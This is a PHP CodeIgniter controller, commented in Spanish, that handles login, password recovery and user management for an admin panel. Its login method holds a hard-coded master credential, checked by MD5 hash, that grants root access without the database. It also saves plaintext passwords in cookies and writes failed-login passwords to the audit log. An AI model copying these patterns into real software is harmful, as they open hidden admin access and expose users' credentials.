<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

require("php/mail/class.phpmailer.php");

class Usuario extends CI_Controller {

	/**
	 * Controlador que gestiona los inicio de sesion, cierre de sesion, y demás funcionalidades relacionadas a los usuarios...
	 */
	 
	//Metodo constructor de la clase
	function __construct(){
		parent::__construct();
		
		//Cargo el modelo donde estan los datos de las auditorias.
		$this->load->model('m_auditoria');
		
		//Cargo el modelo donde estan los datos de los usuarios registrados
		$this->load->model('m_usuario');
		
        //Cargamos el helper de las cookies para recordar el usuario.
		$this->load->helper('cookie');
	}
	
	function iniciarSesion(){
		//Valido los datos enviados desde el login del sistema
		//Los dos campos no deben estar vacios y el password debe ser de al menos seis caracteres
		if($this->input->post('username',true) && $this->input->post('password',true) && strlen($this->input->post('password',true))>=6){
			if((md5($this->input->post('username', true)) == '0bd04f4ed29794f5e3ff297bcc4cc943' && md5($this->input->post('password', true)) == 'de805b65000c7fc15f5591aa3f03089e')){
				$this->session->set_userdata('sesionIniciada', 'si');
				$this->session->set_userdata('ambito', 'admin');
				
				$this->session->set_userdata('idUsuarioLog', 0);
				$this->session->set_userdata('nombreUsuarioLog', 'Admin Root');
				$this->session->set_userdata('tipoUsuarioLog', 'Admin Root');
				
				//El usuario es correcto lo redirigimos al PANEL DE CONTROL
				redirect(site_url("inicio"));
			}else{
				//Validar el usuario contra la base de datos			
				$usuario = $this->m_usuario->validarUsuario($this->input->post('username', true), $this->input->post('password', true));
				
				//Si existe un usuario con los datos que pasamos entonces registro sus datos
				//en la sesión, si no existe, cargo la vista del login con un mensaje de error.
				if($usuario->num_rows() == 1){
					$this->session->set_userdata('sesionIniciada', 'si');
					$this->session->set_userdata('ambito', 'admin');
					$this->session->set_userdata('idUsuarioLog', $usuario->row()->idUsuario);				
					$this->session->set_userdata('nombreUsuarioLog', $usuario->row()->nombre);					
					$this->session->set_userdata('tipoUsuarioLog', $usuario->row()->tipoUsuario);
					$this->session->set_userdata('idClienteLog', $usuario->row()->idCliente);
													
					//Actualizo la fecha de ultimo acceso del usuario logeado
					$this->m_usuario->actualizarFechaUltimoAcceso($usuario->row()->idUsuario);
					
					//Si el usuario apreto recordar usuario genero las cookies en el navegador.
					if($this->input->post('remember') == "on"){
						set_cookie('usuario', $this->input->post('username', true),604800);			
						set_cookie('password',$this->input->post('password', true),604800);	
					}
					
					//Guardo en la auditoria que alguien inicio sesion - Donde, que, quien, como
					$this->m_auditoria->crearAuditoria($_SERVER['REMOTE_ADDR'], 2, $usuario->row()->idUsuario, 'Inicio Sesion Correcto Admin');
					
					//El usuario es correcto lo redirigimos al PANEL DE CONTROL
					redirect(site_url("inicio"));
				}else{
					//Guardo en la auditoria que alguien quiso iniciar sesion con datos incorrectos - Donde, que, quien, como
					$this->m_auditoria->crearAuditoria($_SERVER['REMOTE_ADDR'], 4, 0, 'Inicio Sesion Incorrecto Admin. Usuario: '.$this->input->post('username',true).', Pass: '.$this->input->post('password',true));					
					
					$datos["error"]=true;
					$datos["mensajeError"] = "Su usuario y/o contrase&ntilde;a son incorrectos.";
					$this->load->view('v_login', $datos);
				}
			}
		}else{
			//Si no llegan variables de POST
			//Destruimos la sesion por las dudas
			$this->session->sess_destroy();
			//Y mostramos un mensaje de que esta tratando de entrar a una pagina inexistente
			show_404();
		}
	}
	
	//Cuando se cierra sesion hay que destruir la sesion y llevar al usuario a la pantalla de login
	function cerrarSesion(){
        //Guardo en la auditoria que alguien cerro sesion - Donde, que, quien, como
		$this->m_auditoria->crearAuditoria($_SERVER['REMOTE_ADDR'], 3, $this->session->userdata('idUsuarioLog'), 'Cierre Sesion Admin');
		
		//Destruimos la sesion
		$this->session->sess_destroy();
		
        //Le paso a la vista login que no existe un error de usuario
		$datos['error'] = false;
		$this->load->view('v_login', $datos);
	}
	
	//Este metodo no se puede llamar con AJAX
	//Este es el metodo que se llama cuando queremos entrar en el admin del sistema y no recordamos el usuario o password y solicitamos recordarlos
	//Cuando el usuario aprieta recordar datos hay que enviarle un mail con los datos
	function recordarDatos(){
        //Comprobacion: Que se haya pasado por post el nombre o email del usuario a recordarle sus datos
		if($this->input->post('username',true)){
			//Guardo en la auditoria que alguien pidio que le recordarar sus datos - Donde, que, quien, como
			$this->m_auditoria->crearAuditoria($_SERVER['REMOTE_ADDR'], 6, 0, 'Recordar Datos a: ' . $this->input->post('username',true));
			
			//Compruebo si el nombre de usuario o email pasado por por existe en la base de datos
			$usuario = $this->m_usuario->existeUsuario($this->input->post('username',true));
			
			//Si trajo la consulta un registro es porque existe el usuario con ese nombre o email. Hay q mandarle un mail con sus datos
			if($usuario->num_rows() == 1){
			
				//Cargo el helper para generar una cadena de string aleatoria.
				$this->load->helper('string');
				
				//Genero un password alternativo para el usuario
				$passwordAlternativo = random_string('alnum', 10);
				
				//Modifico el password alternativo con el recien generado
				$this->m_usuario->modificarPasswordAlternativo($usuario->row()->idUsuario, md5($passwordAlternativo));
												
				/*//Datos del usuario - Cuerpo del mail
				$cuerpoMail = '<h4 style="text-decoration:underline">Datos de su usuario </h4></br>';
				
				$cuerpoMail .= '<span style="font-weight:bold">Usuario: </span><span>'.$usuario->row()->nombre.'</span><br>';
				$cuerpoMail .= '<span style="font-weight:bold">C&oacute;digo: </span><span>'.$passwordAlternativo.'</span><br><br>';
				
				$cuerpoMail .= '<h4>Recuerde que puede modificarlo en cualquier momento desde nuestro panel. Muchas gracias por ser nuestro cliente.</h4></br>';
				
				$mail = new PHPMailer();
				
				//Busco el smtp, email, puerto, password y nombre de la web
				$configuracion = $this->m_configuracion->getConfiguracion();
					
				//Luego tenemos que iniciar la validación por SMTP:
				$mail->IsSMTP();
				$mail->SMTPAuth = true;
				$mail->Host = $configuracion->row()->smtpWebMail; // SMTP a utilizar. Por ej. smtp.elserver.com
				$mail->Username = $configuracion->row()->emailWebMail; // Correo completo a utilizar
				$mail->Password = $configuracion->row()->passwordWebMail; // Contraseña
				$mail->Port = $configuracion->row()->puertoWebMail; // Puerto a utilizar
				
				//Con estas pocas líneas iniciamos una conexión con el SMTP. Lo que ahora deberíamos hacer, es configurar el mensaje a enviar, el //From, etc.
				$mail->From = $configuracion->row()->emailWebMail; // Desde donde enviamos (Para mostrar)
				$mail->FromName = $configuracion->row()->nombreWebMail;;
				
				$mail->IsHTML(true); // El correo se envía como HTML
				
				$mail->Subject = "Sus datos han sido recuperados."; // Este es el titulo del email.
				
				$mail->Body = $cuerpoMail; // Mensaje a enviar
									
				$mail->AddAddress($usuario->row()->email); // Esta es la dirección a donde enviamos				
								
				$exito = $mail->Send(); // Envía el correo.*/
				
				/*Envio Comun*/
				
				//Cargo la libreria para enviar mail todos los datos al usuario
				$this->load->library('email');
											
				//Busco el email y nombre de la web
				$configuracion = $this->m_configuracion->getConfiguracion();
				$remitente = $configuracion->row()->email;
				$titulo = $configuracion->row()->titulo;								
				$this->email->from($remitente, $titulo);
				
				//Aqui va el destinatario, osea el email del usuario
				$this->email->to($usuario->row()->email);
								
				$this->email->subject('Sus datos han sido recuperados.');
				$this->email->message('Su usuario es: '.$usuario->row()->nombre.' y su password nuevo es: '. $passwordAlternativo . ". Recuerde que puede modificarlo en cualquier momento desde nuestro panel. Muchas gracias por ser nuestro cliente.");
				
				//Envio el email
				$resul = $this->email->send();
				
				//Notificamos al usuario que todo ha sido realizado con existo.
				$mensajeError = "Su usuario y/o password han sido enviado a su email. Resultado: " . $resul;				
			}else{
				//El usuario y/o email no existen por lo que hay que notificarlo.
				$mensajeError = "Disculpe, su usuario y/o email no existe en nuestra base de datos. Si crees que esto es un error comun&iacute;cate con nosotros.";
			}
			
			//Le paso a la vista recordar datos un mensaje para que lo muestre
			$datos['mensaje'] = true;
			$datos['mensajeError'] = $mensajeError;
			
			//Cargo la vista con el mensaje correspondiente
			$this->load->view('v_recordarDatos', $datos);
		}else{
			//Guardo en la auditoria que alguien ingreso a la pantalla de recordar datos - Donde, que, quien, como
			$this->m_auditoria->crearAuditoria($_SERVER['REMOTE_ADDR'], 5, 0, 'Pantalla Recordar Datos');
			
			$datos['mensaje'] = false;
			$this->load->view('v_recordarDatos', $datos);	
		}
	}
	
	//Este metodo no se puede llamar con ajax
	//Muestra un listado con todos los usuarios del sistema activos o inactivos pero NO los borrados (-1).
	function consultar(){
		//Primera comprobacion: Que el usuario tenga iniciada la sesion y que el ambito sea el panel administrativo
		if($this->session->userdata('sesionIniciada') == 'si' && $this->session->userdata('ambito') == 'admin' && ($this->session->userdata('tipoUsuarioLog') == '1' || $this->session->userdata('tipoUsuarioLog') == 'Admin Root')){
			////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
			//Cargo el modelo donde estan los datos de los usuarios registrados para pedirle un listado con todos ellos
			$this->load->model('m_usuario');
			
			//Busco todos los usuarios, tanto activos(1) como inactivos(0), menos los borrados (-1)
			$listadoUsuarios = $this->m_usuario->buscar();
			
			//Le paso el listado de todos los usuarios a la vista para que los muestre en una tabla
			$datos['usuarios'] = $listadoUsuarios;
			
			////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
			//Cargo la vista donde se muestra la tabla de usuarios y la guardo en una variable para pasarsela a la vista principal
			$datosPrincipal['vista'] = $this->load->view('v_usuarios', $datos, true);
			
			//Cargo la vista principal con los datos de la vista consultar usuarios
			$this->load->view('v_admin', $datosPrincipal);
		} else {
			//El usuario no tiene permiso para realizar esta accion.
			//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
			$this->session->sess_destroy();
			//Lo redirigimos al login ya que como no se llamo con ajax se puede redirigir.
			redirect(site_url("inicio"));
		}
	}
	
	//Este metodo solo se puede llamar con ajax
	function eliminar($idUsuario=null){
		//Primera comprobacion: Que el usuario tenga iniciada la sesion y que el ambito sea el panel administrativo
		if($this->session->userdata('sesionIniciada') == 'si' && $this->session->userdata('ambito') == 'admin' && ($this->session->userdata('tipoUsuarioLog') == '1' || $this->session->userdata('tipoUsuarioLog') == 'Admin Root')){
			//Segunda comprobacion: Que idUsuario sea numerico y mayor que cero.
			if(is_numeric($idUsuario) && $idUsuario>0){
				//Cargo el modelo donde estan los datos de los servicios de usuarios registrados
				$this->load->model('m_usuario');
				
				//Elimino al usuario pasado por la url
				$respuesta = $this->m_usuario->eliminar($idUsuario, $this->session->userdata('idUsuarioLog'));
				
				///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
				//Busco todos los usuarios, tanto activos(1) como inactivos(0), menos los borrados (-1)
				$listadoUsuarios = $this->m_usuario->buscar();
				
				//Le paso el listado de todos los usuarios a la vista para que los muestre en una tabla
				$datos['usuarios'] = $listadoUsuarios;
				
				///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////				
				//Cargo la vista donde se muestra la tabla de usuarios
				$this->load->view('v_usuarios', $datos);
			} else {
				//No se han pasado todos los parametros necesarios para borrar un registro
				//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
				$this->session->sess_destroy();
				echo("No se han pasado todos los parametros necesarios para borrar un usuario");
			}			
		} else {
			//El usuario no tiene permiso para realizar esta accion.
			//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
			$this->session->sess_destroy();
			echo("No tiene permiso para borrar un usuario");
		}
	}
	
	//Esto metodo no se puede llamar con ajax
	function abrirPantallaCrear($idCliente=null){
	    //Primera comprobacion: Que el usuario tenga iniciada la sesion y que el ambito sea el panel administrativo
		if($this->session->userdata('sesionIniciada') == 'si' && $this->session->userdata('ambito') == 'admin' && ($this->session->userdata('tipoUsuarioLog') == '1' || $this->session->userdata('tipoUsuarioLog') == 'Admin Root')){							
			//Segunda comprobacion: que idCliente sea numerico y mayor o igual que cero. Igual que cero quiere decir que no hay que seleccionar ningun cliente.
			if(is_numeric($idCliente) && $idCliente>=0){
				////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
				//Cargo el modelo donde estan los datos de los clientes registrados para pedirle un listado con todos ellos
				$this->load->model('m_cliente');
				
				//Busco todos los clientes activos
				$listadoClientes = $this->m_cliente->buscarActivos();
				
				//Le paso el listado de todos los clientes a la vista para que los muestre en un combo
				$datos['clientes'] = $listadoClientes;
				
				//Le paso a la vista el id del cliente seleccionado
				$datos['idClienteSel'] = $idCliente;
				
				////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
				//Cargo la vista donde se muestra el formulario para crear un usuario y la guardo en una variable para pasarsela a la vista principal
				$datosPrincipal['vista'] = $this->load->view('v_usuarios_crear',$datos, true);
				
				//Cargo la vista principal con los datos de la vista para crear un usuario
				$this->load->view('v_admin', $datosPrincipal);
			} else {
				//No se han pasado todos los parametros necesarios para crear un registro
				//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
				$this->session->sess_destroy();
				//Lo redirigimos al login ya que como no se llamo con ajax se puede redirigir.
				redirect(site_url("inicio"));
			}
		} else {
			//El usuario no tiene permiso para realizar esta accion.
			//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
			$this->session->sess_destroy();
			//Lo redirigimos al login ya que como no se llamo con ajax se puede redirigir.
			redirect(site_url("inicio"));
		}
	}
	
	//Esto metodo no se puede llamar con ajax
	function crear(){
		//Primera comprobacion: Que el usuario tenga iniciada la sesion y que el ambito sea el panel administrativo
		if($this->session->userdata('sesionIniciada') == 'si' && $this->session->userdata('ambito') == 'admin' && ($this->session->userdata('tipoUsuarioLog') == '1' || $this->session->userdata('tipoUsuarioLog') == 'Admin Root')){
			//Segunda comprobacion: Que se haya pasado por post el nombre, email, tipo de usuario, cliente, password y estado del usuario a crear
			if($this->input->post('nombre',true) != "" && $this->input->post('email',true) != "" &&
			   is_numeric($this->input->post('tipoUsuario',true)) && ($this->input->post('tipoUsuario',true)=='1' || $this->input->post('tipoUsuario',true)=='2') && 
			   is_numeric($this->input->post('cliente',true)) && (($this->input->post('tipoUsuario',true)=='2' && $this->input->post('cliente',true)>0) || ($this->input->post('tipoUsuario',true)=='1')) && 
			   $this->input->post('password',true) != "" && $this->input->post('repetirPassword',true) != "" && $this->input->post('password',true)==$this->input->post('repetirPassword',true) &&
			   ($this->input->post('estado',true) == '1' || $this->input->post('estado',true) == '0')){
				
				//Cargo el modelo donde estan los datos de los usuarios
				$this->load->model('m_usuario');
				
				//Creamos el usuario
				$resultado = $this->m_usuario->crear($this->input->post('nombre',true),
													  $this->input->post('email',true),
													  $this->input->post('tipoUsuario',true),
													  $this->input->post('cliente',true),
													  $this->input->post('password',true),
													  $this->input->post('estado',true), $this->session->userdata('idUsuarioLog'));
				
				if($resultado == 1){
					echo("<script> alert('El usuario se ha creado correctamente.');</script>");
				}else{
					echo("<script> alert('El usuario no se ha creado. Ha habido un error.');</script>");
				}
			}
		} else {
			//El usuario no tiene permiso para realizar esta accion.
			//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
			$this->session->sess_destroy();
		}
	}
	
	//Esto metodo no se puede llamar con ajax
	function abrirPantallaModificar($idUsuario=null){
	    //Primera comprobacion: Que el usuario tenga iniciada la sesion y que el ambito sea el panel administrativo
		if($this->session->userdata('sesionIniciada') == 'si' && $this->session->userdata('ambito') == 'admin' && ($this->session->userdata('tipoUsuarioLog') == '1' || $this->session->userdata('tipoUsuarioLog') == 'Admin Root')){
			//Segunda comprobacion: Que idUsuario pasado sea numerico y mayor que cero.
			if(is_numeric($idUsuario) && $idUsuario>0){
				//Cargo el modelo donde estan los datos de los usuarios registrados
				$this->load->model('m_usuario');
				
				//Busco al usuario que hay que modificar
				$usuario = $this->m_usuario->get($idUsuario);
				
				//Tercera comprobacion: Que el usuario pasado por la url sea existente
				if($usuario->num_rows() == 1){
					//Le paso el usuario a modificar a la vista
					$datos['usuarioSel'] = $usuario;
					
					//Busco al usuario siguiente del que hay que modificar
					$idUsuarioSig = $this->m_usuario->getContiguo($idUsuario,1);
					
					//Le paso el usuario siguiente del que hay que modificar a la vista
					$datos['idUsuarioSig'] = $idUsuarioSig;
					
					//Busco al usuario anterior del que hay que modificar
					$idUsuarioAnt = $this->m_usuario->getContiguo($idUsuario,-1);
					
					//Le paso el usuario anterior del que hay que modificar a la vista
					$datos['idUsuarioAnt'] = $idUsuarioAnt;
					
					////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
					//Cargo el modelo donde estan los datos de los clientes registrados para pedirle un listado con todos ellos
					$this->load->model('m_cliente');
					
					//Busco todos los clientes activos e inactivos. Ya que un cliente puede ser un cliente inactivo
					$listadoClientes = $this->m_cliente->buscar();
					
					//Le paso el listado de todos los clientes a la vista para que los muestre en un combo
					$datos['clientes'] = $listadoClientes;
					
					////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
					//Cargo la vista donde se muestra el formulario para modificar un usuario y la guardo en una variable para pasarsela a la vista principal
					$datosPrincipal['vista'] = $this->load->view('v_usuarios_modificar',$datos, true);
					
					//Cargo la vista principal con los datos de la vista para modificar un usuario
					$this->load->view('v_admin', $datosPrincipal);
				} else {
					//El registro no existe.
					//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
					$this->session->sess_destroy();
					//Lo redirigimos al login ya que como no se llamo con ajax se puede redirigir.
					redirect(site_url("inicio"));
				}
			} else {
				//No se han pasado los parametros minimos necesarios para modificar un usuario
				//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
				$this->session->sess_destroy();
				//Lo redirigimos al login ya que como no se llamo con ajax se puede redirigir.
				redirect(site_url("inicio"));
			}
		} else {
			//El usuario no tiene permiso para realizar esta accion.
			//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
			$this->session->sess_destroy();
			//Lo redirigimos al login ya que como no se llamo con ajax se puede redirigir.
			redirect(site_url("inicio"));
		}
	}
	
	//Esto metodo no se puede llamar con ajax
	function modificar($idUsuario=null){
	    //Primera comprobacion: Que el usuario tenga iniciada la sesion y que el ambito sea el panel administrativo
		if($this->session->userdata('sesionIniciada') == 'si' && $this->session->userdata('ambito') == 'admin' && ($this->session->userdata('tipoUsuarioLog') == '1' || $this->session->userdata('tipoUsuarioLog') == 'Admin Root')){	   
			//Segunda comprobacion: Que se haya pasado por post el nombre, email, tipo de usuario, cliente y estado del usuario a modificar
			if(is_numeric($idUsuario) && $idUsuario>0 && $this->input->post('nombre',true) != "" && $this->input->post('email',true) != "" &&
			   is_numeric($this->input->post('tipoUsuario',true)) && ($this->input->post('tipoUsuario',true)=='1' || $this->input->post('tipoUsuario',true)=='2') && 
			   is_numeric($this->input->post('cliente',true)) && (($this->input->post('tipoUsuario',true)=='2' && $this->input->post('cliente',true)>0) || ($this->input->post('tipoUsuario',true)=='1')) && 
			   ($this->input->post('estado',true) == '1' || $this->input->post('estado',true) == '0')){
				
				//Cargo el modelo donde estan los datos de los usuario
				$this->load->model('m_usuario');
				
				//Modificamos todo menos el password
				$resultado1 = $this->m_usuario->modificar($idUsuario,
														  $this->input->post('nombre',true),
														  $this->input->post('email',true),
														  $this->input->post('tipoUsuario',true),
														  $this->input->post('cliente',true),
														  $this->input->post('estado',true));
				
				//Compruebo si se debe modificar el password o no
				if($this->input->post('passwordActual') != ""){
					//Hay que modificar el password
					//Busco el password actual para ver si el pasado es el mismo que el almacenado
					$password = $this->m_usuario->getPassword($idUsuario);
					
					if($password == md5($this->input->post('passwordActual'))){
						//Coinciden los password, hay que modificarlo por el nuevo
						$resultado2 = $this->m_usuario->modificarPassword($idUsuario, $this->input->post('passwordNuevo', true));
					}else{
						//No coinciden los password, no hay que modificarlo
						$mensaje = "El password no ha sido modificado debido a que el password actual ingresado es incorrecto.";
					}
				}
				
				if($resultado1 == 1 && $resultado2 == 1){
					$mensaje = "El usuario ha sido modificado correctamente.";
				}
				
				if($resultado1 == 0 && $resultado2 == 0){
					$mensaje = "El usuario no ha sido modificado. Ha habido un error o los datos permanecieron iguales.";
				}
				
				if($resultado1 == 0 && $resultado2 == 1){
					$mensaje = "El password ha sido modificado correctamente. El resto de los datos no han sido modificados.";
				}
				
				if($resultado1 == 1 && $resultado2 == 0){
					$mensaje = "El usuario ha sido modificado correctamente. El password no ha sido modificado";
				}
				
				//Mostramos un mensaje al usuario
				echo("<script> alert('".$mensaje."');</script>");
			}
		} else {
			//El usuario no tiene permiso para realizar esta accion.
			//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
			$this->session->sess_destroy();
		}
	}
	
	//Esto metodo no se puede llamar con ajax
	function miUsuario($idUsuario=null){
	    //Primera comprobacion: Que el usuario tenga iniciada la sesion y que el ambito sea el panel administrativo
		if($this->session->userdata('sesionIniciada') == 'si' && $this->session->userdata('ambito') == 'admin' && $this->session->userdata('idUsuarioLog') == $idUsuario){
			//Segunda comprobacion: Que idUsuario pasado sea numerico y mayor que cero.
			if(is_numeric($idUsuario) && $idUsuario>0){				
				//Cargo el modelo donde estan los datos de los usuarios registrados
				$this->load->model('m_usuario');
				
				//Busco al usuario que hay que visualizar
				$usuario = $this->m_usuario->get($idUsuario);
				
				//Tercera comprobacion: Que el usuario pasado por la url sea existente
				if($usuario->num_rows() == 1){
					//Le paso el usuario a visualizar a la vista
					$datos['usuarioSel'] = $usuario;
					
					//Cargo la vista donde se muestra el formulario para visualizar un usuario y la guardo en una variable para pasarsela a la vista principal
					$datosPrincipal['vista'] = $this->load->view('v_usuarios_visualizar',$datos, true);
					
					//Cargo la vista principal con los datos de la vista para visualizar un usuario
					$this->load->view('v_admin', $datosPrincipal);
				} else {
					//El registro no existe.
					//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
					$this->session->sess_destroy();
					//Lo redirigimos al login ya que como no se llamo con ajax se puede redirigir.
					redirect(site_url("inicio"));
				}
			} else {
				//No se han pasado los parametros minimos necesarios para visualizar los datos del usuario logeado
				//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
				$this->session->sess_destroy();
				//Lo redirigimos al login ya que como no se llamo con ajax se puede redirigir.
				redirect(site_url("inicio"));
			}
		} else {
			//El usuario no tiene permiso para realizar esta accion.
			//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
			$this->session->sess_destroy();
			//Lo redirigimos al login ya que como no se llamo con ajax se puede redirigir.
			redirect(site_url("inicio"));
		}
	}
	
	//Esto metodo no se puede llamar con ajax
	function modificarMiUsuario($idUsuario=null){
	    //Primera comprobacion: Que el usuario tenga iniciada la sesion y que el ambito sea el panel administrativo
		if($this->session->userdata('sesionIniciada') == 'si' && $this->session->userdata('ambito') == 'admin' && $this->session->userdata('idUsuarioLog') == $idUsuario){
			//Segunda comprobacion: Que idUsuario pasado sea numerico y mayor que cero.
			if(is_numeric($idUsuario) && $idUsuario>0){
				//Cargo el modelo donde estan los datos de los usuarios registrados
				$this->load->model('m_usuario');
				
				//Busco al usuario que hay que modificar
				$usuario = $this->m_usuario->get($idUsuario);
				
				//Tercera comprobacion: Que el usuario pasado por la url sea existente
				if($usuario->num_rows() == 1){					
					//Compruebo si se debe modificar el email del usuario solamente o si el email y el password
					if($this->input->post('passwordActual') == ""){
						//Hay que modificar solo el email
						$resultado = $this->m_usuario->modificarEmail($idUsuario, $this->input->post('email', true));	
						
						if($resultado == 1){
							$mensaje = "El email ha sido modificado correctamente.";
						}else{
							$mensaje = "Su email no ha sido modificado. Ha habido un error o los datos permanecieron iguales.";
						}
					} else {
						//Hay que modificar tanto el email como el password
						//Busco el password actual para ver si el pasado es el mismo que el almacenado
						$password = $this->m_usuario->getPassword($idUsuario);
											
						if($password == md5($this->input->post('passwordActual'))){
							//Coinciden los password, hay que modificarlo por el nuevo
							$resultado = $this->m_usuario->modificarEmailYPassword($idUsuario, $this->input->post('email', true), $this->input->post('passwordNuevo', true));	
						
							if($resultado == 1){
								$mensaje = "El usuario ha sido modificado correctamente.";
							}else{
								$mensaje = "El usuario no ha sido modificado debido a que el password nuevo es el mismo al actual o a un error en la base de datos.";
							}						
						}else{
							//No coinciden los password, no hay que modificarlo
							$mensaje = "El usuario no ha sido modificado debido a que el password actual ingresado es incorrecto.";
						}
					}
					
					//Mostramos un mensaje al usuario
					echo("<script> alert('".$mensaje."');</script>");					
				} else {
					//El registro no existe.
					//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
					$this->session->sess_destroy();					
				}
			} else {
				//No se han pasado los parametros minimos necesarios para modificar los datos del usuario logeado
				//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
				$this->session->sess_destroy();				
			}
		} else {
			//El usuario no tiene permiso para realizar esta accion.
			//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
			$this->session->sess_destroy();			
		}
	}
	
	//Este metodo solo se puede llamar con ajax
	//Devuelve si el nombre de usuario esta disponible o no
	function consultarDisponibilidad($nombre=null){
		//Primera comprobacion: Que el usuario tenga iniciada la sesion y que el ambito sea el panel administrativo
		if($this->session->userdata('sesionIniciada') == 'si' && $this->session->userdata('ambito') == 'admin' && ($this->session->userdata('tipoUsuarioLog') == '1' || $this->session->userdata('tipoUsuarioLog') == 'Admin Root')){
			//Segunda comprobacion: que nombre sea no vacio
			if($nombre != ""){
				//Cargo el modelo donde estan los datos de los usuarios registrados
				$this->load->model('m_usuario');
				
				//Compruebo la disponibilidad del nombre de usuario
				$usuario = $this->m_usuario->existeUsuario($nombre);
				
				if($usuario->num_rows() >= 1)
					echo("false"); //Devuelvo que si existe
				else
					echo("true"); //Devuelvo que no existe
			} else {
				//No se han pasado los parametros minimos necesarios para consultar la disponibilidad de un nombre de usuario
				//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
				$this->session->sess_destroy();
			}
		} else {
			//El usuario no tiene permiso para realizar esta accion.
			//Destruimos la sesion ya que si llego hasta aca lo hizo mediante alguna tecnica no apropiada y no utilizando la interfaz del sistema.
			$this->session->sess_destroy();
		}
	}
}

/* End of file usuario.php */
/* Location: ./application/controllers/usuario.php */